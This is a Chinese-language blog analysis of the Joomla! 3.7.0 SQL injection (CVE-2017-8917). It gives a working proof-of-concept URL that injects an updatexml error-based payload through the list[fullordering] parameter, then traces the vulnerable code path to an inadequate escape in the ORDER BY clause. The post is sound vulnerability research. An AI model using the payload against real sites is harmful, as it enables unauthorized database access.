Chybeta

[CVE-2017-8917]Joomla! 3.7.0 SQL Injection分析

Joomla!3.7.0 Core SQL注入漏洞.

POC

这次干脆先放出poc吧。

1
2
3
4
5
http://localhost:2500/Joomla370/index.php?
option=com_fields
&view=fields
&layout=modal
&list[fullordering]=updatexml(1,concat(0x3e,database()),0)

这次根据参数的传入流程来进行分析。

漏洞

危害组件

3.7.0版本中出现了com_field组件,无需授权即可访问。查看...\components\com_fields\controller.php,在第27行左右,其相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function __construct($config = array())
{
$this->input = JFactory::getApplication()->input;
// Frontpage Editor Fields Button proxying:
if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
{
// Load the backend language file.
$lang = JFactory::getLanguage();
$lang->load('com_fields', JPATH_ADMINISTRATOR);
$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
}
parent::__construct($config);
}

可以看到它先判断通过view是否等于fields,layout是否等于modal,而这两个参数都是我们可控的。若满足则将会加载JPATH_ADMINISTRATOR中的com_fields组件,并且将base_path设置为 JPATH_COMPONENT_ADMINISTRATOR,之后调用父类的构造方法。

传入sql语句

在调用父类构造方法后,一路运行到...\Joomla370\libraries\legacy\controller\legacy.php中,约莫707行,这时会通过$this->$doTask调用display()函数。

跟进display()函数,它位于 ...\Joomla370\libraries\legacy\controller\legacy.php,接着运行至legacy.php的约莫671行左右,调用了视图(view)的display()函数。我们跟进一下,跳转进入...\Joomla370\administrator\components\com_fields\views\fields\view.html.php

此时运行到,下面这条语句,给get()传入的参数为State

1
$this->state = $this->get('State');

我们跟进这个get()函数,一直运行到422行,

之后将会调用 getState(),跟进,进入...\Joomla370\libraries\legacy\model\legacy.php

之后会调用filedsModel类中的populateState(),跟进后会发现调用其父类的populateState()函数,其定义在 ...\Joomla370\libraries\legacy\model\list.php中,约莫在第495行,相关代码如下:

1
2
3
4
5
..省略..
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
..省略..

这里我们先跟进一下getUserStateFromRequest(),它的定义在...\Joomla370\libraries\cms\application\cms.php中,在该函数结束后,它获取了我们通过get方法传入的参数,也就是说,我们成功的控制了fullordering的值。

在该函数运行完后,流程将会回到前面的那个定义在...\Joomla370\libraries\cms\application\cms.php中的populateState()函数。此时运行的代码如下:

1
2
3
4
5
6
7
8
9
10
foreach ($list as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->listBlacklist))
{
// Extra validations
switch ($name){...}
$this->setState('list.' . $name, $value);
}
}

如果数组的key不在黑名单(blacklisted)中,将会为$list变量根据相应的State进行注册,在这部分函数运行到结束部分,可以看见成功的控制了list数组的fullordering的值。

查看变量,如下:

注入过程

接下来继续运行,一直运行回到Joomla370\administrator\components\com_fields\views\fields\view.html.php中的display()函数中。

跟进这一行 $this->get('Items');,进入...\Joomla370\libraries\legacy\view\legacy.php,约莫在422行,这里的行为跟前面分析类似,此后将会调用getitem()

继续跟进,进入...\Joomla370\libraries\legacy\model\list.php,约莫在186行:

1
2
3
4
5
try
{
// Load the list items and add the items to the internal cache.
$this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
}

通过_getList调用了_getListQuery,继续跟进,进入...\Joomla370\libraries\legacy\model\list.php,约莫在 132行,

1
2
3
4
5
if ($lastStoreId != $currentStoreId || empty($this->query))
{
$lastStoreId = $currentStoreId;
$this->query = $this->getListQuery();
}

调用了 getListQuery(),继续跟进,进入 ...\Joomla370\administrator\components\com_fields\models\fields.php,一直运行到约莫在 305 行,调用getState方法,传入list.fullordering参数。相关代码如下:

查看变量表:

之后在第314行,将$listOrdering带入查询,相关代码如下:

1
$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));

在进行$query->order之前,会先进行一次过滤,跟进$db->escape,进入...\Joomla370\libraries\joomla\database\driver\mysqli.php,约莫242行,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function escape($text, $extra = false)
{
$this->connect();
$result = mysqli_real_escape_string($this->getConnection(), $text);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}

对于传入的$text通过mysqli_real_escape_string()进行过滤,只转义了一些字符。因此可以通过构造进行成功的注入。

成功注入

点击赞赏二维码,您的支持将鼓励我继续创作!
chybeta WeChat Pay

微信打赏

chybeta Alipay

支付宝打赏